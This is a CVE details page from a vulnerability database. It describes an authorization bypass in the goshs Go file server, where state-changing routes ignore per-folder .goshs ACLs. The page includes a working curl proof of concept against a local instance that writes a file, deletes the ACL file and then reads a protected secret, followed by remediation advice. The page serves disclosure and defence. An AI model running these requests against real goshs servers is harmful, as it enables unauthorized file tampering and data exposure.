CVE-2026-40189 — Vulnerability in patrickhener/goshs — CVE Details
goshs has a file-based ACL authorization bypass in goshs state-changing routes
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.69%). Schedule for your next planned update.
Does your project use an affected github.com/patrickhener/goshs version?
Paste your go.sum to check it for CVE-2026-40189 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability.
Details
The project README explicitly documents file-based ACLs as a security feature:
README.md:59- "You can place a .goshs in any folder to apply custom ACLs"README.md:61- "You can apply custom basic auth per folder"
The read/list path correctly enforces .goshs:
httpserver/filebased.go:10-49loads.goshshttpserver/handler.go:68-91callsfindSpecialFile()for directorieshttpserver/handler.go:94-101callsfindSpecialFile()for fileshttpserver/handler.go:285-305applies custom authhttpserver/handler.go:545-565enforces folder auth during directory renderinghttpserver/handler.go:590-630enforces file auth and blocked entries during file serving
However, the state-changing routes bypass this logic entirely:
httpserver/server.go:94-100routes multipartPOST /.../uploaddirectly toupload()httpserver/server.go:105-109routesPUTdirectly toput()httpserver/handler.go:119-123dispatches?mkdirdirectly tohandleMkdir()httpserver/handler.go:181-187dispatches?deletedirectly todeleteFile()httpserver/updown.go:18-60writes files forPUTwithout checking.goshshttpserver/updown.go:63-165writes files for multipart upload without checking.goshshttpserver/handler.go:679-698deletes files withos.RemoveAll()without checking.goshshttpserver/handler.go:901-937creates directories withos.MkdirAll()without checking.goshs
This is not a path traversal issue. The path remains inside the configured root after sanitization. The vulnerability is that authorization is applied inconsistently: reads are protected, but writes and deletes are not. Because .goshs itself can be deleted through the unauthenticated delete route, the attacker can escalate the impact from unauthorized modification to full removal of the folder's auth barrier.
PoC
Environment used for verification:
- Repository/module:
github.com/patrickhener/goshs - Verified vulnerable tag:
v2.0.0-beta.3 - Also present in the
v1.1.4line based on code inspection - Local host:
127.0.0.1:18091
Build and setup:
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta3'
go build -o /tmp/goshs_acl_verify/goshs ./
rm -rf /tmp/goshs_acl_verify/root
mkdir -p /tmp/goshs_acl_verify/root/protected
cp integration/keepFiles/goshsACLAuth /tmp/goshs_acl_verify/root/protected/.goshs
printf 'top secret\n' > /tmp/goshs_acl_verify/root/protected/secret.txt
/tmp/goshs_acl_verify/goshs -d /tmp/goshs_acl_verify/root -p 18091
In a second terminal:
# The protected folder initially requires auth
curl -s -o /dev/null -w '%{http_code}\n' 'http://127.0.0.1:18091/protected/'
# Unauthenticated write into the protected folder succeeds
curl -s -o /dev/null -w '%{http_code}\n' -X PUT \
--data-binary 'injected via PUT' \
'http://127.0.0.1:18091/protected/put-created.txt'
# Unauthenticated deletion of the ACL file succeeds
curl -s -o /dev/null -w '%{http_code}\n' \
'http://127.0.0.1:18091/protected/.goshs?delete'
# The previously protected file is now publicly accessible
curl -s -o /dev/null -w '%{http_code}\n' \
'http://127.0.0.1:18091/protected/secret.txt'
curl -s 'http://127.0.0.1:18091/protected/secret.txt'
Expected results:
401
200
200
200
top secret
Note: if using zsh, the URL containing ?delete must be quoted, or the shell will treat ? as a wildcard and the request will not be sent.
PoC Video for reference:
https://github.com/user-attachments/assets/deb9106e-6dfa-47c0-95c1-993c2cbc9ee7
Impact
This is an authorization bypass affecting deployments that rely on .goshs for per-folder protection. A remote unauthenticated attacker can:
- create or overwrite files inside a folder that should require authentication
- create directories inside the protected folder
- delete arbitrary files reachable through the vulnerable route inside that protected folder
- delete the
.goshspolicy file itself - read previously protected files once the policy file has been removed
In practice, this breaks the security boundary promised by the file-based ACL feature and can expose sensitive files while also allowing unauthorized modification or destruction of protected content.
Remediation
- Enforce
.goshsauthorization checks for all state-changing operations, not just read/list flows. BeforePUT, multipart upload, delete, and mkdir, resolve the effective folder ACL and deny the request unless the caller satisfiesacl.Auth. - Protect
.goshsas a special file in mutation handlers. The application already prevents serving.goshs; it should also reject deletion, overwrite, or replacement of.goshsthrough HTTP routes unless the request is properly authorized. - Add regression tests covering protected folders for every mutation path. The test suite should verify that
PUT,POST /upload,?delete, and?mkdirall fail without valid credentials when a.goshsfile is present.
Advisory Timeline
- First published April 10, 2026 (230 days ago).
- Last revised June 25, 2026 — 76 days after initial publication.
Affected Packages (1)
Affects 1 ecosystem: Go (1).
| Package | Fixed In |
|---|---|
| github.com/patrickhener/goshs Go · Affected: All versions | Range-based data available |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-862Missing AuthorizationMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
References
- https://github.com/patrickhener/goshs/security/advisories/GHSA-wvhv-qcqf-f3cxWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-40189ADVISORY
- https://github.com/patrickhener/goshs/commit/f212c4f4a126556bab008f79758e21a839ef2c0fWEB
- https://github.com/patrickhener/goshsPACKAGE
- https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4WEB
Frequently Asked Questions
- What is CVE-2026-40189?
- goshs has a file-based ACL authorization bypass in goshs state-changing routes. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
- How do I check if my project is affected by CVE-2026-40189?
- CVE-2026-40189 affects github.com/patrickhener/goshs. It has a 0.7% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-40189 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 47.9% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-35471CRITICAL
goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
- CVE-2026-40884CRITICAL
goshs has an empty-username SFTP password authentication bypass
- CVE-2026-35392CRITICAL
goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs PUT Upload
- CVE-2026-64863CRITICAL
goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite
- CVE-2026-35393CRITICAL
goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs POST multipart upload
- CVE-2025-46816CRITICAL
goshs route not protected, allows command execution
- CVE-2026-40876HIGH
SFTP root escape via prefix-based path validation in goshs
- CVE-2026-40885HIGH
goshs's public collaborator feed leaks .goshs ACL credentials and enables unauthorized access